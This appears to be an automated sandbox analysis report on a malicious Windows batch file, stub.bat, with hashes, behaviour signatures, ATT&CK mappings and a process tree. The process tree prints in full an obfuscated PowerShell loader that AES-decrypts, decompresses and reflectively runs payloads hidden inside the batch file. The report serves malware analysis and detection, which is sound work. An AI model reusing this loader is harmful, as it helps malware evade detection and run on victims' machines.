Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 21:23

General

  • Target

    stub.bat

  • Size

    2.3MB

  • MD5

    e49ed1028bf0c289d62cdca6b440d752

  • SHA1

    e3f18d496cdb64b2e3388bfd579cfd59adc70752

  • SHA256

    4d930eaabcd25150ee60e0f5f9147aedc06837c09a254186eaad4d78a118a782

  • SHA512

    15f8d558479b7c03cecc7aa3ec734a762941d7b20a246cfad1e6f24aa8b6eadf351a48ca953dc5123429d52f7f0a20d21104f4ae52bdcbc584f26587be1e9604

  • SSDEEP

    24576:gMID2TZRnCMGHJLYk5kqzJwwDxxBJOU7gqsiX5PFxobyCByo1/xdTYu3CgM0ZFwX:gMNXWjGCf2bu1j4R6A8

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wFHZlpcUkL8mgXVyBku7iyaIiR3uArGUIdDRouRIrZ4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QOY4Cv+wyXX2do7aiffgdQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jlrYc=New-Object System.IO.MemoryStream(,$param_var); $bmDYr=New-Object System.IO.MemoryStream; $QKSMF=New-Object System.IO.Compression.GZipStream($jlrYc, [IO.Compression.CompressionMode]::Decompress); $QKSMF.CopyTo($bmDYr); $QKSMF.Dispose(); $jlrYc.Dispose(); $bmDYr.Dispose(); $bmDYr.ToArray();}function execute_function($param_var,$param2_var){ $IMXEX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oyYtu=$IMXEX.EntryPoint; $oyYtu.Invoke($null, $param2_var);}$hhBxF = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $hhBxF;$fGGWD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hhBxF).Split([Environment]::NewLine);foreach ($jTXro in $fGGWD) { if ($jTXro.StartsWith('vjpcDvZGGpfgJCuMbyNz')) { $pwxWX=$jTXro.Substring(20); break; }}$payloads_var=[string[]]$pwxWX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2744
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde
      1⤵
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:2676

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2308-10-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
      Filesize

      9.6MB

    • memory/2308-5-0x000000001B2E0000-0x000000001B5C2000-memory.dmp
      Filesize

      2.9MB

    • memory/2308-6-0x0000000002040000-0x0000000002048000-memory.dmp
      Filesize

      32KB

    • memory/2308-7-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
      Filesize

      9.6MB

    • memory/2308-8-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
      Filesize

      9.6MB

    • memory/2308-9-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
      Filesize

      9.6MB

    • memory/2308-4-0x000007FEF561E000-0x000007FEF561F000-memory.dmp
      Filesize

      4KB

    • memory/2308-16-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
      Filesize

      9.6MB

    • memory/2308-17-0x000007FEF561E000-0x000007FEF561F000-memory.dmp
      Filesize

      4KB

    • memory/2676-11-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2676-12-0x0000000071E4D000-0x0000000071E58000-memory.dmp
      Filesize

      44KB

    • memory/2676-14-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2676-15-0x0000000071E4D000-0x0000000071E58000-memory.dmp
      Filesize

      44KB